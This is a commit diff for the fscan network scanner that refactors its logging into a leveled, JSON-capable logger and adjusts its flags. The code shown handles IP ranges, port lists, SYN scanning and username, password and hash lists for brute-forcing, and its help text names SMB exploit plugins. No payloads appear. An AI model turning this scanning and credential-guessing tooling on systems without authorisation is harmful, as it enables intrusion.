refactor: 输出格式重构,重构SMB、SMB2、FTP的一些验证逻辑

This commit is contained in:
ZacharyZcR 2025-01-01 05:24:49 +08:00
parent d13e1952e9
commit 277ea5d332
47 changed files with 879 additions and 867 deletions

View File

@ -104,7 +104,11 @@ var (
EnableWmi bool // 原IsWmi
// 输出配置
DisableSave bool // 原TmpSave
DisableSave bool // 禁止保存结果
Silent bool // 静默模式
NoColor bool // 禁用彩色输出
JsonFormat bool // JSON格式输出
LogLevel string // 日志输出级别
)
var (

View File

@ -73,7 +73,7 @@ func Flag(Info *HostInfo) {
" 漏洞类: ms17010, smbghost, smb2\n"+
" 其他: findnet, wmiexec, localinfo")
flag.BoolVar(&UseSynScan, "sS", false, "使用SYN扫描替代TCP全连接扫描(需要root/管理员权限)")
flag.IntVar(&ThreadNum, "t", 600, "设置扫描线程数")
flag.IntVar(&ThreadNum, "t", 60, "设置扫描线程数")
flag.Int64Var(&Timeout, "time", 3, "设置连接超时时间(单位:秒)")
flag.IntVar(&LiveTop, "top", 10, "仅显示指定数量的存活主机")
flag.BoolVar(&DisablePing, "np", false, "禁用主机存活探测")
@ -126,9 +126,9 @@ func Flag(Info *HostInfo) {
flag.StringVar(&Outputfile, "o", "result.txt", "指定结果输出文件名")
flag.BoolVar(&DisableSave, "no", false, "禁止保存扫描结果")
flag.BoolVar(&Silent, "silent", false, "启用静默扫描模式(减少屏幕输出)")
flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出显示")
flag.BoolVar(&JsonOutput, "json", false, "以JSON格式输出结果")
flag.Int64Var(&WaitTime, "debug", 60, "设置错误日志输出时间间隔(单位:秒)")
flag.BoolVar(&NoColor, "nocolor", false, "禁用彩色输出显示")
flag.BoolVar(&JsonFormat, "json", false, "以JSON格式输出结果")
flag.StringVar(&LogLevel, "log", LogLevelAll, "日志输出级别(ALL/SUCCESS/ERROR/INFO/DEBUG)")
flag.Parse()
}

View File

@ -1,139 +1,250 @@
package Common
import (
"bufio"
"encoding/json"
"fmt"
"github.com/fatih/color"
"io"
"log"
"os"
"path/filepath"
"runtime"
"strings"
"sync"
"time"
"github.com/fatih/color"
)
// 记录扫描状态的全局变量
var (
// 全局变量
status = &ScanStatus{lastSuccess: time.Now(), lastError: time.Now()}
results = make(chan *LogEntry, 1000) // 使用缓冲通道
logWG sync.WaitGroup
// 扫描计数
Num int64 // 总任务数
End int64 // 已完成数
Results = make(chan *string) // 结果通道
LogSucTime int64 // 最近成功日志时间
LogErrTime int64 // 最近错误日志时间
WaitTime int64 // 等待时间
Silent bool // 静默模式
Nocolor bool // 禁用颜色
JsonOutput bool // JSON输出
LogWG sync.WaitGroup // 日志同步等待组
End int64 // 已完成任务数
)
// JsonText JSON输出的结构体
type JsonText struct {
Type string `json:"type"` // 消息类型
Text string `json:"text"` // 消息内容
// 将 results 改名为 Results 使其可导出
var (
Results = results // 使 results 可导出
LogWG = logWG // 使 logWG 可导出
)
// ScanStatus 记录扫描状态
type ScanStatus struct {
mu sync.RWMutex
total int64
completed int64
lastSuccess time.Time
lastError time.Time
}
// LogEntry 日志条目
type LogEntry struct {
Level string // "ERROR", "INFO", "SUCCESS", "DEBUG"
Time time.Time
Content string
}
// LogLevel 定义日志等级常量
const (
LogLevelAll = "ALL" // 输出所有日志
LogLevelError = "ERROR" // 错误日志
LogLevelInfo = "INFO" // 信息日志
LogLevelSuccess = "SUCCESS" // 成功日志
LogLevelDebug = "DEBUG" // 调试日志
)
// 定义日志颜色映射
var logColors = map[string]color.Attribute{
LogLevelError: color.FgRed,
LogLevelInfo: color.FgYellow,
LogLevelSuccess: color.FgGreen,
LogLevelDebug: color.FgBlue,
}
// bufferedFileWriter 文件写入器
type bufferedFileWriter struct {
file *os.File
writer *bufio.Writer
jsonEnc *json.Encoder
}
// init 初始化日志配置
func init() {
log.SetOutput(io.Discard)
LogSucTime = time.Now().Unix()
go SaveLog()
go processLogs()
}
// formatLogMessage 格式化日志消息
func formatLogMessage(entry *LogEntry) string {
timeStr := entry.Time.Format("2006-01-02 15:04:05")
return fmt.Sprintf("[%s] [%s] %s", timeStr, entry.Level, entry.Content)
}
func printLog(entry *LogEntry) {
// 根据配置的日志级别过滤
if LogLevel != LogLevelAll && entry.Level != LogLevel {
return
}
logMsg := formatLogMessage(entry)
if NoColor {
fmt.Println(logMsg)
return
}
if colorAttr, ok := logColors[entry.Level]; ok {
color.New(colorAttr).Println(logMsg)
} else {
fmt.Println(logMsg)
}
}
// 同样修改 LogError 和 LogInfo
func LogError(errMsg string) {
// 获取调用者信息
_, file, line, ok := runtime.Caller(1)
if !ok {
file = "unknown"
line = 0
}
// 只获取文件名
file = filepath.Base(file)
// 格式化错误消息
errorMsg := fmt.Sprintf("%s:%d - %s", file, line, errMsg)
select {
case Results <- &LogEntry{
Level: LogLevelError,
Time: time.Now(),
Content: errorMsg,
}:
logWG.Add(1)
default:
printLog(&LogEntry{
Level: LogLevelError,
Time: time.Now(),
Content: errorMsg,
})
}
}
func LogInfo(msg string) {
select {
case Results <- &LogEntry{
Level: LogLevelInfo,
Time: time.Now(),
Content: msg,
}:
logWG.Add(1)
default:
printLog(&LogEntry{
Level: LogLevelInfo,
Time: time.Now(),
Content: msg,
})
}
}
// LogSuccess 记录成功信息
func LogSuccess(result string) {
LogWG.Add(1)
LogSucTime = time.Now().Unix()
Results <- &result
}
// SaveLog 保存日志信息
func SaveLog() {
for result := range Results {
// 打印日志
if !Silent {
if Nocolor {
fmt.Println(*result)
} else {
switch {
case strings.HasPrefix(*result, "[+] 信息扫描"):
color.Green(*result)
case strings.HasPrefix(*result, "[+]"):
color.Red(*result)
// 添加通道关闭检查
select {
case Results <- &LogEntry{
Level: LogLevelSuccess,
Time: time.Now(),
Content: result,
}:
logWG.Add(1)
status.mu.Lock()
status.lastSuccess = time.Now()
status.mu.Unlock()
default:
fmt.Println(*result)
}
}
}
// 保存到文件
if IsSave {
WriteFile(*result, Outputfile)
}
LogWG.Done()
// 如果通道已关闭或已满,直接打印
printLog(&LogEntry{
Level: LogLevelSuccess,
Time: time.Now(),
Content: result,
})
}
}
// WriteFile 写入文件
func WriteFile(result string, filename string) {
// 打开文件
fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
// JsonOutput JSON输出的结构体
type JsonOutput struct {
Level string `json:"level"`
Timestamp time.Time `json:"timestamp"`
Message string `json:"message"`
}
// processLogs 处理日志信息
func processLogs() {
writer := newBufferedFileWriter()
defer writer.close()
for entry := range results {
if !Silent {
printLog(entry)
}
if writer != nil {
writer.write(entry)
}
logWG.Done()
}
}
func newBufferedFileWriter() *bufferedFileWriter {
if DisableSave {
return nil
}
file, err := os.OpenFile(Outputfile, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
if err != nil {
fmt.Printf("[-] 打开文件失败 %s: %v\n", filename, err)
fmt.Printf("[ERROR] 打开输出文件失败 %s: %v\n", Outputfile, err)
return nil
}
writer := bufio.NewWriter(file)
return &bufferedFileWriter{
file: file,
writer: writer,
jsonEnc: json.NewEncoder(writer),
}
}
func (w *bufferedFileWriter) write(entry *LogEntry) {
if w == nil {
return
}
defer fl.Close()
if JsonOutput {
// 解析JSON格式
var scantype, text string
if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") {
index := strings.Index(result[4:], " ")
if index == -1 {
scantype = "msg"
text = result[4:]
} else {
scantype = result[4 : 4+index]
text = result[4+index+1:]
if JsonFormat {
output := JsonOutput{
Level: entry.Level,
Timestamp: entry.Time,
Message: entry.Content,
}
if err := w.jsonEnc.Encode(output); err != nil {
fmt.Printf("[ERROR] JSON编码失败: %v\n", err)
}
} else {
scantype = "msg"
text = result
}
// 构造JSON对象
jsonText := JsonText{
Type: scantype,
Text: text,
}
// 序列化JSON
jsonData, err := json.Marshal(jsonText)
if err != nil {
fmt.Printf("[-] JSON序列化失败: %v\n", err)
jsonText = JsonText{
Type: "msg",
Text: result,
}
jsonData, _ = json.Marshal(jsonText)
}
jsonData = append(jsonData, []byte(",\n")...)
_, err = fl.Write(jsonData)
} else {
_, err = fl.Write([]byte(result + "\n"))
}
if err != nil {
fmt.Printf("[-] 写入文件失败 %s: %v\n", filename, err)
logMsg := formatLogMessage(entry) + "\n"
if _, err := w.writer.WriteString(logMsg); err != nil {
fmt.Printf("[ERROR] 写入文件失败: %v\n", err)
}
}
// LogError 记录错误信息
func LogError(errinfo interface{}) {
if WaitTime == 0 {
fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo)
} else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime {
fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo)
LogErrTime = time.Now().Unix()
w.writer.Flush()
}
func (w *bufferedFileWriter) close() {
if w != nil {
w.writer.Flush()
w.file.Close()
}
}

View File

@ -19,7 +19,7 @@ func Parse(Info *HostInfo) error {
return nil
}
// ParseUser 解析用户名配置,支持直接指定用户名列表或从文件读取
// ParseUser 解析用户名配置
func ParseUser() error {
// 如果未指定用户名和用户名文件,直接返回
if Username == "" && UsersFile == "" {
@ -31,7 +31,7 @@ func ParseUser() error {
// 处理直接指定的用户名列表
if Username != "" {
usernames = strings.Split(Username, ",")
fmt.Printf("[*] 已加载直接指定的用户名: %d 个\n", len(usernames))
LogInfo(fmt.Sprintf("加载用户名: %d 个", len(usernames)))
}
// 从文件加载用户名列表
@ -47,12 +47,12 @@ func ParseUser() error {
usernames = append(usernames, user)
}
}
fmt.Printf("[*] 已从文件加载用户名: %d 个\n", len(users))
LogInfo(fmt.Sprintf("从文件加载用户名: %d 个", len(users)))
}
// 去重处理
usernames = RemoveDuplicate(usernames)
fmt.Printf("[*] 去重后用户名总数: %d 个\n", len(usernames))
LogInfo(fmt.Sprintf("用户名总数: %d 个", len(usernames)))
// 更新用户字典
for name := range Userdict {
@ -74,7 +74,7 @@ func ParsePass(Info *HostInfo) error {
}
}
Passwords = pwdList
fmt.Printf("[*] 已加载直接指定的密码: %d 个\n", len(pwdList))
LogInfo(fmt.Sprintf("加载密码: %d 个", len(pwdList)))
}
// 从文件加载密码列表
@ -89,7 +89,7 @@ func ParsePass(Info *HostInfo) error {
}
}
Passwords = pwdList
fmt.Printf("[*] 已从文件加载密码: %d 个\n", len(passes))
LogInfo(fmt.Sprintf("从文件加载密码: %d 个", len(passes)))
}
// 处理哈希文件
@ -108,10 +108,10 @@ func ParsePass(Info *HostInfo) error {
HashValues = append(HashValues, line)
validCount++
} else {
fmt.Printf("[-] 无效的哈希值(长度!=32): %s\n", line)
LogError(fmt.Sprintf("无效的哈希值: %s (长度!=32)", line))
}
}
fmt.Printf("[*] 已加载有效哈希值: %d 个\n", validCount)
LogInfo(fmt.Sprintf("加载有效哈希值: %d 个", validCount))
}
// 处理直接指定的URL列表
@ -126,7 +126,7 @@ func ParsePass(Info *HostInfo) error {
}
}
}
fmt.Printf("[*] 已加载直接指定的URL: %d 个\n", len(URLs))
LogInfo(fmt.Sprintf("加载URL: %d 个", len(URLs)))
}
// 从文件加载URL列表
@ -145,7 +145,7 @@ func ParsePass(Info *HostInfo) error {
}
}
}
fmt.Printf("[*] 已从文件加载URL: %d 个\n", len(urls))
LogInfo(fmt.Sprintf("从文件加载URL: %d 个", len(urls)))
}
// 从文件加载端口列表
@ -163,7 +163,7 @@ func ParsePass(Info *HostInfo) error {
}
}
Ports = newport.String()
fmt.Printf("[*] 已从文件加载端口配置\n")
LogInfo("从文件加载端口配置")
}
return nil
@ -174,7 +174,7 @@ func Readfile(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename)
if err != nil {
fmt.Printf("[-] 打开文件 %s 失败: %v\n", filename, err)
LogError(fmt.Sprintf("打开文件失败 %s: %v", filename, err))
return nil, err
}
defer file.Close()
@ -195,11 +195,11 @@ func Readfile(filename string) ([]string, error) {
// 检查扫描过程中是否有错误
if err := scanner.Err(); err != nil {
fmt.Printf("[- 读取文件 %s 时出错: %v\n", filename, err)
LogError(fmt.Sprintf("读取文件错误 %s: %v", filename, err))
return nil, err
}
fmt.Printf("[*] 成功读取文件 %s: %d 行\n", filename, lineCount)
LogInfo(fmt.Sprintf("读取文件成功 %s: %d 行", filename, lineCount))
return content, nil
}
@ -207,25 +207,25 @@ func Readfile(filename string) ([]string, error) {
func ParseInput(Info *HostInfo) error {
// 检查必要的目标参数
if Info.Host == "" && HostsFile == "" && TargetURL == "" && URLsFile == "" {
fmt.Println("[-] 未指定扫描目标")
LogError("未指定扫描目标")
flag.Usage()
return fmt.Errorf("必须指定扫描目标")
}
// 如果是本地扫描模式,输出提示
if LocalScan {
fmt.Println("[*] 已启用本地扫描模式")
LogInfo("已启用本地扫描模式")
}
// 配置基本参数
if BruteThreads <= 0 {
BruteThreads = 1
fmt.Printf("[*] 已将暴力破解线程数设置为: %d\n", BruteThreads)
LogInfo(fmt.Sprintf("暴力破解线程数: %d", BruteThreads))
}
if DisableSave {
IsSave = false
fmt.Println("[*] 已启用临时保存模式")
LogInfo("已启用临时保存模式")
}
// 处理端口配置
@ -239,7 +239,7 @@ func ParseInput(Info *HostInfo) error {
} else {
Ports += "," + AddPorts
}
fmt.Printf("[*] 已添加额外端口: %s\n", AddPorts)
LogInfo(fmt.Sprintf("额外端口: %s", AddPorts))
}
// 处理用户名配置
@ -249,7 +249,7 @@ func ParseInput(Info *HostInfo) error {
Userdict[dict] = append(Userdict[dict], users...)
Userdict[dict] = RemoveDuplicate(Userdict[dict])
}
fmt.Printf("[*] 已添加额外用户名: %s\n", AddUsers)
LogInfo(fmt.Sprintf("额外用户名: %s", AddUsers))
}
// 处理密码配置
@ -257,7 +257,7 @@ func ParseInput(Info *HostInfo) error {
passes := strings.Split(AddPasswords, ",")
Passwords = append(Passwords, passes...)
Passwords = RemoveDuplicate(Passwords)
fmt.Printf("[*] 已添加额外密码: %s\n", AddPasswords)
LogInfo(fmt.Sprintf("额外密码: %s", AddPasswords))
}
// 处理Socks5代理配置
@ -275,7 +275,7 @@ func ParseInput(Info *HostInfo) error {
return fmt.Errorf("Socks5代理格式错误: %v", err)
}
DisablePing = true
fmt.Printf("[*] 使用Socks5代理: %s\n", Socks5Proxy)
LogInfo(fmt.Sprintf("Socks5代理: %s", Socks5Proxy))
}
// 处理HTTP代理配置
@ -299,7 +299,7 @@ func ParseInput(Info *HostInfo) error {
if err != nil {
return fmt.Errorf("代理格式错误: %v", err)
}
fmt.Printf("[*] 使用代理: %s\n", HttpProxy)
LogInfo(fmt.Sprintf("HTTP代理: %s", HttpProxy))
}
// 处理Hash配置
@ -315,7 +315,7 @@ func ParseInput(Info *HostInfo) error {
for _, hash := range HashValues {
hashByte, err := hex.DecodeString(hash)
if err != nil {
fmt.Printf("[-] Hash解码失败: %s\n", hash)
LogError(fmt.Sprintf("Hash解码失败: %s", hash))
continue
}
HashBytes = append(HashBytes, hashByte)

View File

@ -23,16 +23,16 @@ var ParseIPErr = errors.New("主机解析错误\n" +
"192.168.1.1-192.168.255.255 (IP范围)\n" +
"192.168.1.1-255 (最后一位简写范围)")
// ParseIP 解析IP地址配置,支持从主机字符串和文件读取
// ParseIP 解析IP地址配置
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
// 处理主机和端口组合的情况 (192.168.0.0/16:80)
// 处理主机和端口组合的情况
if filename == "" && strings.Contains(host, ":") {
hostport := strings.Split(host, ":")
if len(hostport) == 2 {
host = hostport[0]
hosts = ParseIPs(host)
Ports = hostport[1]
fmt.Printf("[*] 已解析主机端口组合,端口设置为: %s\n", Ports)
LogInfo(fmt.Sprintf("已解析主机端口组合,端口设置为: %s", Ports))
}
} else {
// 解析主机地址
@ -42,10 +42,10 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e
if filename != "" {
fileHosts, err := Readipfile(filename)
if err != nil {
fmt.Printf("[-] 读取主机文件失败: %v\n", err)
LogError(fmt.Sprintf("读取主机文件失败: %v", err))
} else {
hosts = append(hosts, fileHosts...)
fmt.Printf("[*] 已从文件加载额外主机: %d 个\n", len(fileHosts))
LogInfo(fmt.Sprintf("从文件加载额外主机: %d 个", len(fileHosts)))
}
}
}
@ -72,13 +72,13 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e
}
hosts = newHosts
sort.Strings(hosts)
fmt.Printf("[*] 已排除指定主机: %d 个\n", len(excludeHosts))
LogInfo(fmt.Sprintf("已排除指定主机: %d 个", len(excludeHosts)))
}
}
// 去重处理
hosts = RemoveDuplicate(hosts)
fmt.Printf("[*] 最终有效主机数量: %d\n", len(hosts))
LogInfo(fmt.Sprintf("最终有效主机数量: %d", len(hosts)))
// 检查解析结果
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
@ -102,40 +102,28 @@ func ParseIPs(ip string) (hosts []string) {
return hosts
}
// parseIP 解析不同格式的IP地址,返回解析后的IP列表
func parseIP(ip string) []string {
reg := regexp.MustCompile(`[a-zA-Z]+`)
switch {
// 处理常用内网IP段简写
case ip == "192":
return parseIP("192.168.0.0/8")
case ip == "172":
return parseIP("172.16.0.0/12")
case ip == "10":
return parseIP("10.0.0.0/8")
// 处理/8网段 - 仅扫描网关和随机IP以避免过多扫描
case strings.HasSuffix(ip, "/8"):
return parseIP8(ip)
// 处理CIDR格式 (/24 /16 /8等)
case strings.Contains(ip, "/"):
return parseIP2(ip)
// 处理域名 - 保留域名格式
case reg.MatchString(ip):
return []string{ip}
// 处理IP范围格式 (192.168.1.1-192.168.1.100)
case strings.Contains(ip, "-"):
return parseIP1(ip)
// 处理单个IP地址
default:
testIP := net.ParseIP(ip)
if testIP == nil {
fmt.Printf("[-] 无效的IP地址格式: %s\n", ip)
LogError(fmt.Sprintf("无效的IP格式: %s", ip))
return nil
}
return []string{ip}
@ -144,18 +132,15 @@ func parseIP(ip string) []string {
// parseIP2 解析CIDR格式的IP地址段
func parseIP2(host string) []string {
// 解析CIDR
_, ipNet, err := net.ParseCIDR(host)
if err != nil {
fmt.Printf("[-] CIDR格式解析失败: %s, %v\n", host, err)
LogError(fmt.Sprintf("CIDR格式解析失败: %s, %v", host, err))
return nil
}
// 转换为IP范围并解析
ipRange := IPRange(ipNet)
hosts := parseIP1(ipRange)
fmt.Printf("[*] 已解析CIDR %s -> IP范围 %s\n", host, ipRange)
LogInfo(fmt.Sprintf("解析CIDR %s -> IP范围 %s", host, ipRange))
return hosts
}
@ -169,50 +154,46 @@ func parseIP1(ip string) []string {
if len(ipRange[1]) < 4 {
endNum, err := strconv.Atoi(ipRange[1])
if testIP == nil || endNum > 255 || err != nil {
fmt.Printf("[-] IP范围格式错误: %s\n", ip)
LogError(fmt.Sprintf("IP范围格式错误: %s", ip))
return nil
}
// 解析IP段
splitIP := strings.Split(ipRange[0], ".")
startNum, err1 := strconv.Atoi(splitIP[3])
endNum, err2 := strconv.Atoi(ipRange[1])
prefixIP := strings.Join(splitIP[0:3], ".")
if startNum > endNum || err1 != nil || err2 != nil {
fmt.Printf("[-] IP范围无效: %d-%d\n", startNum, endNum)
LogError(fmt.Sprintf("IP范围无效: %d-%d", startNum, endNum))
return nil
}
// 生成IP列表
for i := startNum; i <= endNum; i++ {
allIP = append(allIP, prefixIP+"."+strconv.Itoa(i))
}
fmt.Printf("[*] 已生成IP范围: %s.%d - %s.%d\n", prefixIP, startNum, prefixIP, endNum)
LogInfo(fmt.Sprintf("生成IP范围: %s.%d - %s.%d", prefixIP, startNum, prefixIP, endNum))
} else {
// 处理完整IP范围格式 (192.168.111.1-192.168.112.255)
// 处理完整IP范围格式
splitIP1 := strings.Split(ipRange[0], ".")
splitIP2 := strings.Split(ipRange[1], ".")
if len(splitIP1) != 4 || len(splitIP2) != 4 {
fmt.Printf("[-] IP格式错误: %s\n", ip)
LogError(fmt.Sprintf("IP格式错误: %s", ip))
return nil
}
// 解析起始和结束IP
start, end := [4]int{}, [4]int{}
for i := 0; i < 4; i++ {
ip1, err1 := strconv.Atoi(splitIP1[i])
ip2, err2 := strconv.Atoi(splitIP2[i])
if ip1 > ip2 || err1 != nil || err2 != nil {
fmt.Printf("[-] IP范围无效: %s-%s\n", ipRange[0], ipRange[1])
LogError(fmt.Sprintf("IP范围无效: %s-%s", ipRange[0], ipRange[1]))
return nil
}
start[i], end[i] = ip1, ip2
}
// 将IP转换为数值并生成范围内的所有IP
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
@ -224,7 +205,7 @@ func parseIP1(ip string) []string {
allIP = append(allIP, ip)
}
fmt.Printf("[*] 已生成IP范围: %s - %s\n", ipRange[0], ipRange[1])
LogInfo(fmt.Sprintf("生成IP范围: %s - %s", ipRange[0], ipRange[1]))
}
return allIP
@ -232,36 +213,27 @@ func parseIP1(ip string) []string {
// IPRange 计算CIDR的起始IP和结束IP
func IPRange(c *net.IPNet) string {
// 获取起始IP
start := c.IP.String()
// 获取子网掩码
mask := c.Mask
// 计算广播地址(结束IP)
bcst := make(net.IP, len(c.IP))
copy(bcst, c.IP)
// 通过位运算计算最大IP地址
for i := 0; i < len(mask); i++ {
ipIdx := len(bcst) - i - 1
bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1]
}
end := bcst.String()
// 返回"起始IP-结束IP"格式的字符串
result := fmt.Sprintf("%s-%s", start, end)
fmt.Printf("[*] CIDR范围: %s\n", result)
LogInfo(fmt.Sprintf("CIDR范围: %s", result))
return result
}
// Readipfile 从文件中按行读取IP地址
func Readipfile(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename)
if err != nil {
fmt.Printf("[-] 打开文件失败 %s: %v\n", filename, err)
LogError(fmt.Sprintf("打开文件失败 %s: %v", filename, err))
return nil, err
}
defer file.Close()
@ -270,54 +242,47 @@ func Readipfile(filename string) ([]string, error) {
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
// 逐行处理IP
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
// 解析IP:端口格式
text := strings.Split(line, ":")
if len(text) == 2 {
port := strings.Split(text[1], " ")[0]
num, err := strconv.Atoi(port)
if err != nil || num < 1 || num > 65535 {
fmt.Printf("[-] 忽略无效端口: %s\n", line)
LogError(fmt.Sprintf("忽略无效端口: %s", line))
continue
}
// 解析带端口的IP地址
hosts := ParseIPs(text[0])
for _, host := range hosts {
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
}
fmt.Printf("[*] 已解析IP端口组合: %s\n", line)
LogInfo(fmt.Sprintf("解析IP端口组合: %s", line))
} else {
// 解析纯IP地址
hosts := ParseIPs(line)
content = append(content, hosts...)
fmt.Printf("[*] 已解析IP地址: %s\n", line)
LogInfo(fmt.Sprintf("解析IP地址: %s", line))
}
}
// 检查扫描过程中是否有错误
if err := scanner.Err(); err != nil {
fmt.Printf("[-] 读取文件时出错: %v\n", err)
LogError(fmt.Sprintf("读取文件错误: %v", err))
return content, err
}
fmt.Printf("[*] 从文件加载完成,共解析 %d 个IP地址\n", len(content))
LogInfo(fmt.Sprintf("从文件解析完成: %d 个IP地址", len(content)))
return content, nil
}
// RemoveDuplicate 对字符串切片进行去重
func RemoveDuplicate(old []string) []string {
// 使用map存储不重复的元素
temp := make(map[string]struct{})
var result []string
// 遍历并去重
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
@ -335,7 +300,7 @@ func parseIP8(ip string) []string {
testIP := net.ParseIP(realIP)
if testIP == nil {
fmt.Printf("[-] 无效的IP地址格式: %s\n", realIP)
LogError(fmt.Sprintf("无效的IP格式: %s", realIP))
return nil
}
@ -343,7 +308,7 @@ func parseIP8(ip string) []string {
ipRange := strings.Split(ip, ".")[0]
var allIP []string
fmt.Printf("[*] 开始解析 %s.0.0.0/8 网段\n", ipRange)
LogInfo(fmt.Sprintf("解析网段: %s.0.0.0/8", ipRange))
// 遍历所有可能的第二、三段
for a := 0; a <= 255; a++ {
@ -364,17 +329,14 @@ func parseIP8(ip string) []string {
}
}
fmt.Printf("[*] 已生成 %d 个采样IP地址\n", len(allIP))
LogInfo(fmt.Sprintf("生成采样IP: %d 个", len(allIP)))
return allIP
}
// RandInt 生成指定范围内的随机整数
func RandInt(min, max int) int {
// 参数验证
if min >= max || min == 0 || max == 0 {
return max
}
// 生成随机数
return rand.Intn(max-min) + min
}

View File

@ -42,7 +42,7 @@ func ParsePort(ports string) []int {
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
fmt.Printf("[-] 无效的端口范围格式: %s\n", port)
LogError(fmt.Sprintf("端口范围格式错误: %s", port))
continue
}
@ -63,7 +63,7 @@ func ParsePort(ports string) []int {
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
if i > 65535 || i < 1 {
fmt.Printf("[-] 忽略无效端口: %d\n", i)
LogError(fmt.Sprintf("忽略无效端口: %d", i))
continue
}
scanPorts = append(scanPorts, i)
@ -74,17 +74,15 @@ func ParsePort(ports string) []int {
scanPorts = removeDuplicate(scanPorts)
sort.Ints(scanPorts)
fmt.Printf("[*] 共解析 %d 个有效端口\n", len(scanPorts))
LogInfo(fmt.Sprintf("有效端口数量: %d", len(scanPorts)))
return scanPorts
}
// removeDuplicate 对整数切片进行去重
func removeDuplicate(old []int) []int {
// 使用map存储不重复的元素
temp := make(map[int]struct{})
var result []int
// 遍历并去重
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}

View File

@ -48,7 +48,7 @@ var pluginGroups = map[string][]string{
// ParseScanMode 解析扫描模式
func ParseScanMode(mode string) {
fmt.Printf("[*] 解析扫描模式: %s\n", mode)
LogInfo(fmt.Sprintf("解析扫描模式: %s", mode))
// 检查是否是预设模式
presetModes := []string{
@ -60,9 +60,9 @@ func ParseScanMode(mode string) {
if mode == presetMode {
ScanMode = mode
if plugins := GetPluginsForMode(mode); plugins != nil {
fmt.Printf("[+] 使用预设模式: %s, 包含插件: %v\n", mode, plugins)
LogInfo(fmt.Sprintf("使用预设模式: %s, 包含插件: %v", mode, plugins))
} else {
fmt.Printf("[+] 使用预设模式: %s\n", mode)
LogInfo(fmt.Sprintf("使用预设模式: %s", mode))
}
return
}
@ -71,14 +71,14 @@ func ParseScanMode(mode string) {
// 检查是否是有效的插件名
if _, exists := PluginManager[mode]; exists {
ScanMode = mode
fmt.Printf("[+] 使用单个插件: %s\n", mode)
LogInfo(fmt.Sprintf("使用单个插件: %s", mode))
return
}
// 默认使用All模式
ScanMode = ModeAll
fmt.Printf("[*] 未识别的模式,使用默认模式: %s\n", ModeAll)
fmt.Printf("[+] 包含插件: %v\n", pluginGroups[ModeAll])
LogInfo(fmt.Sprintf("未识别的模式,使用默认模式: %s", ModeAll))
LogInfo(fmt.Sprintf("包含插件: %v", pluginGroups[ModeAll]))
}
// GetPluginsForMode 获取指定模式下的插件列表

View File

@ -75,7 +75,7 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
return
}
Common.LogError(err)
Common.LogError(fmt.Sprintf("ICMP监听失败: %v", err))
fmt.Println("[-] 正在尝试无监听ICMP探测...")
// 尝试无监听ICMP探测
@ -86,7 +86,7 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
return
}
Common.LogError(err)
Common.LogError(fmt.Sprintf("ICMP连接失败: %v", err))
fmt.Println("[-] 当前用户权限不足,无法发送ICMP包")
fmt.Println("[*] 切换为PING方式探测...")

View File

@ -3,13 +3,11 @@ package Core
import (
"encoding/binary"
"fmt"
"github.com/Ullaakut/nmap"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/net/ipv4"
"log"
"net"
"runtime"
"sort"
@ -25,12 +23,12 @@ type Addr struct {
func PortScan(hostslist []string, ports string, timeout int64) []string {
var AliveAddress []string
var mu sync.Mutex // 添加互斥锁保护 AliveAddress
var mu sync.Mutex
// 解析端口列表
probePorts := Common.ParsePort(ports)
if len(probePorts) == 0 {
fmt.Printf("[-] 端口格式错误: %s, 请检查端口格式\n", ports)
Common.LogError(fmt.Sprintf("端口格式错误: %s", ports))
return AliveAddress
}
@ -75,12 +73,11 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
}
}
// 按顺序关闭并等待
close(addrs)
workerWg.Wait() // 等待所有扫描worker完成
wg.Wait() // 等待所有扫描任务完成
close(results) // 关闭结果通道
resultWg.Wait() // 等待结果处理完成
workerWg.Wait()
wg.Wait()
close(results)
resultWg.Wait()
return AliveAddress
}
@ -111,10 +108,7 @@ func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sy
// 记录开放端口
address := fmt.Sprintf("%s:%d", addr.ip, addr.port)
protocol := "TCP"
result := fmt.Sprintf("[+] %s端口开放 %s", protocol, address)
Common.LogSuccess(result)
Common.LogSuccess(fmt.Sprintf("端口开放 %s", address))
respondingHosts <- address
}
@ -168,30 +162,27 @@ func SynScan(ip string, port int, timeout int64) (bool, error) {
sendConn, err := net.ListenPacket("ip4:tcp", "0.0.0.0")
if err != nil {
return false, fmt.Errorf("创建发送套接字失败: %v", err)
return false, fmt.Errorf("发送套接字错误: %v", err)
}
defer sendConn.Close()
rawConn, err := ipv4.NewRawConn(sendConn)
if err != nil {
return false, fmt.Errorf("获取原始连接失败: %v", err)
return false, fmt.Errorf("原始连接错误: %v", err)
}
dstIP := net.ParseIP(ip)
if dstIP == nil {
return false, fmt.Errorf("无效的IP地址: %s", ip)
return false, fmt.Errorf("IP地址无效: %s", ip)
}
// 打开正确的网络接口
handle, err := pcap.OpenLive(ifName, 65536, true, pcap.BlockForever)
if err != nil {
